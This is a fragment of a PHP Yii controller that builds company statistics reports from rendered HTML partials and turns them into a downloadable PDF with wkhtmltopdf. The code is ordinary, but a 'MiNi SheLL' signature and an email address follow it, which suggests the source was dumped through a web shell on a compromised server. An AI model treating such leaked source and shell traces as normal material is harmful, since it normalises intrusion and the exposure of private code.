                        $tempFilesPatches[] = $tempFilePath;
                        unset($content);
                        $tempFilesCounter++;
                    } 
                } 
                
                $contactDataStats = [];
                if(intval($modelCompanyStatisticsForm->orContactData) === 1) {
                    $contactDataStats = $this->getStatsForContactDataViews($modelCompany, $modelCompanyStatisticsForm);
                    if(!empty($contactDataStats)) {
                        foreach($contactDataStats as $idPortal => $dataSet) {
                            $content = $this->renderPartial('_statistics_contact_data', [
                                'modelForm' => $modelCompanyStatisticsForm,
                                'modelCompany' => $modelCompany,
                                'modelCompanyInvoicingData' => $modelCompanyInvoicingData,
                                'stats' => $dataSet, 
                                'modelPresentation' => $modelsPresentations[$idPortal],
                                'operatorData' => $operatorData
                            ]);
                            $tempFilePath = Yii::getAlias('@runtime')."/temp/company_statistics_".$modelCompany->id_company."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateStart))."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateEnd)).'_'.$tempFilesCounter.".html";
                            file_put_contents($tempFilePath, $content);
                            $tempFilesPatches[] = $tempFilePath;
                            unset($content);
                            $tempFilesCounter++;
                        }
                    }                    
                    
                } 
                
                if(!empty($modelsPresentationStatisticsForms) && intval($modelCompanyStatisticsForm->orPresentations) === 1) {
                    foreach($modelsPresentationStatisticsForms as $idPortal => $modelPresentationStatisticForm) {
//                        if(intval($modelPresentationStatisticForm->orSelected) !== 1) {
//                            continue;
//                        }
                        $content = $this->renderPartial('_statistics_companies_presentations_visits', [
                            'modelForm' => $modelCompanyStatisticsForm, 
                            'modelCompany' => $modelCompany, 
                            'modelCompanyInvoicingData' => $modelCompanyInvoicingData,
                            'modelPresentationStatisticForm' => $modelPresentationStatisticForm, 
                            'modelPresentation' => $modelsPresentations[$idPortal],
                            'operatorData' => $operatorData
                        ]);
                        $tempFilePath = Yii::getAlias('@runtime')."/temp/company_statistics_".$modelCompany->id_company."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateStart))."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateEnd)).'_'.$tempFilesCounter.".html";
                        file_put_contents($tempFilePath, $content);
                        $tempFilesPatches[] = $tempFilePath;
                        unset($content);
                        $tempFilesCounter++;
                    }
                }
                
                if(!empty($modelsPresentationsPromotedStatisticsForms) && intval($modelCompanyStatisticsForm->orPromotedPresentations) === 1) {
                    foreach($modelsPresentationsPromotedStatisticsForms as $idPresentation => $modelPresentationPromotedStatisticsForm) {
                        $content = $this->renderPartial('_statistics_companies_presentations_promoted_visits', [
                            'modelForm' => $modelCompanyStatisticsForm, 
                            'modelCompany' => $modelCompany, 
                            'modelCompanyInvoicingData' => $modelCompanyInvoicingData,
                            'modelPresentationPromotedStatisticsForm' => $modelPresentationPromotedStatisticsForm, 
                            'operatorData' => $operatorData,
                            'companiesCategoriesPathes' => $companiesCategoriesPathes
                        ]);
                        $tempFilePath = Yii::getAlias('@runtime')."/temp/company_statistics_".$modelCompany->id_company."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateStart))."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateEnd)).'_'.$tempFilesCounter.".html";
                        file_put_contents($tempFilePath, $content);
                        $tempFilesPatches[] = $tempFilePath;
                        unset($content);
                        $tempFilesCounter++;
                    }
                }
                
                if(!empty($modelsProductsStatisticsForms) && intval($modelCompanyStatisticsForm->orProducts) === 1) {
                    $modelsProductsStatisticsFormsByPortals = [];
                    foreach($modelsProductsStatisticsForms as $hash => $modelProductStatisticForm) {
                        list($idProduct, $idPortal) = explode('_', $hash);
                        $modelsProductsStatisticsFormsByPortals[(int)$idPortal][] = $modelProductStatisticForm;
                    }
                    
                    foreach($modelsPortals as $idPortal => $modelPortal) {
                        $content = $this->renderPartial('_statistics_products_visits', [
                            'modelForm' => $modelCompanyStatisticsForm, 
                            'modelCompany' => $modelCompany, 
                            'modelCompanyInvoicingData' => $modelCompanyInvoicingData,
                            'modelsProductsStatisticsForms' => $modelsProductsStatisticsFormsByPortals[$idPortal], 
                            'modelPortal' => $modelPortal,
                            'modelPresentation' => $modelsPresentations[$idPortal],
                            'operatorData' => $operatorData
                        ]);
                        $tempFilePath = Yii::getAlias('@runtime')."/temp/company_statistics_".$modelCompany->id_company."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateStart))."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateEnd)).'_'.$tempFilesCounter.".html";
                        file_put_contents($tempFilePath, $content);
                        $tempFilesPatches[] = $tempFilePath;
                        unset($content);
                        $tempFilesCounter++;
                    }
                }

                if(!empty($modelsPromotedProductsStatisticsForms) && intval($modelCompanyStatisticsForm->orPromotedProducts) === 1) {
                    $modelsPromotedProductsStatisticsFormsByPortals = [];
                    foreach($modelsPromotedProductsStatisticsForms as $hash => $modelPromotedProductStatisticForm) {
                        list($idProduct, $idPortal) = explode('_', $hash);
                        $modelsPromotedProductsStatisticsFormsByPortals[(int)$idPortal][] = $modelPromotedProductStatisticForm;
                    }
                    
                    foreach($modelsPortals as $idPortal => $modelPortal) {
                        $content = $this->renderPartial('_statistics_promoted_products_visits', [
                            'modelForm' => $modelCompanyStatisticsForm, 
                            'modelCompany' => $modelCompany, 
                            'modelCompanyInvoicingData' => $modelCompanyInvoicingData,
                            'modelsPromotedProductsStatisticsForms' => $modelsPromotedProductsStatisticsFormsByPortals[$idPortal], 
                            'modelPortal' => $modelPortal,
                            'operatorData' => $operatorData,
                            'productsCategoriesPathes' => $productsCategoriesPathes
                        ]);
                        $tempFilePath = Yii::getAlias('@runtime')."/temp/company_statistics_".$modelCompany->id_company."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateStart))."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateEnd)).'_'.$tempFilesCounter.".html";
                        file_put_contents($tempFilePath, $content);
                        $tempFilesPatches[] = $tempFilePath;
                        unset($content);
                        $tempFilesCounter++;
                    }
                }
                
                if(!empty($modelsArticlesStatisticsForms)) {
                    foreach($modelsArticlesStatisticsForms as $hash => $modelArticleStatisticForm) {
                        if(intval($modelArticleStatisticForm->orSelected) !== 1) {
                            unset($modelsArticlesStatisticsForms[$hash]);
                        }
                    }
                }
                
                if(!empty($modelsArticlesStatisticsForms) && intval($modelCompanyStatisticsForm->orArticles) === 1) {
                    $modelsArticlesStatisticsFormsByPortals = [];
                    foreach($modelsArticlesStatisticsForms as $hash => $modelArticleStatisticForm) {
                        list($idArticle, $idPortal) = explode('_', $hash);
                        $modelsArticlesStatisticsFormsByPortals[(int)$idPortal][] = $modelArticleStatisticForm;
                    }
                    
                    foreach($modelsPortals as $idPortal => $modelPortal) {
                        $content = $this->renderPartial('_statistics_articles_visits', [
                            'modelForm' => $modelCompanyStatisticsForm, 
                            'modelCompany' => $modelCompany, 
                            'modelCompanyInvoicingData' => $modelCompanyInvoicingData,
                            'modelsArticlesStatisticsForms' => $modelsArticlesStatisticsFormsByPortals[$idPortal], 
                            'modelPortal' => $modelPortal,
                            'operatorData' => $operatorData
                        ]);
                        $tempFilePath = Yii::getAlias('@runtime')."/temp/company_statistics_".$modelCompany->id_company."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateStart))."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateEnd)).'_'.$tempFilesCounter.".html";
                        file_put_contents($tempFilePath, $content);
                        $tempFilesPatches[] = $tempFilePath;
                        unset($content);
                        $tempFilesCounter++;
                    }
                }
                
                if(empty($tempFilesPatches)) {
                    Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
                    return $this->render('index', $outputParams);
                }
                
                $targetFilePath = Yii::getAlias('@runtime')."/temp/company_statistics_".$modelCompany->id_company."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateStart))."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateEnd)).".pdf";
                $output = \common\components\helpers\Wkhtmltopdf::save(implode(' ', array_map(function($item) { return 'file:///'.$item; }, $tempFilesPatches)), $targetFilePath, '-T 8 -B 8 -L 8 -R 8');    
                if($output['return'] !== 0) {
                    foreach($tempFilesPatches as $tempFilePath) {
                        @unlink($tempFilePath);
                    }
                    @unlink($targetFilePath);
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas generowania pliku PDF.'));
                    return $this->redirect(['companiesstatistics/index', 'id' => $modelCompany->id_company]);          
                } 

                $response = Yii::$app->getResponse();
                $response->setDownloadHeaders(basename($targetFilePath), 'application/pdf');
                $response->sendFile($targetFilePath);
                $response->send();

                foreach($tempFilesPatches as $tempFilePath) {
                    @unlink($tempFilePath);
                }
                @unlink($targetFilePath);
                
                exit;
            }
        }

        return $this->render('index', $outputParams);
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com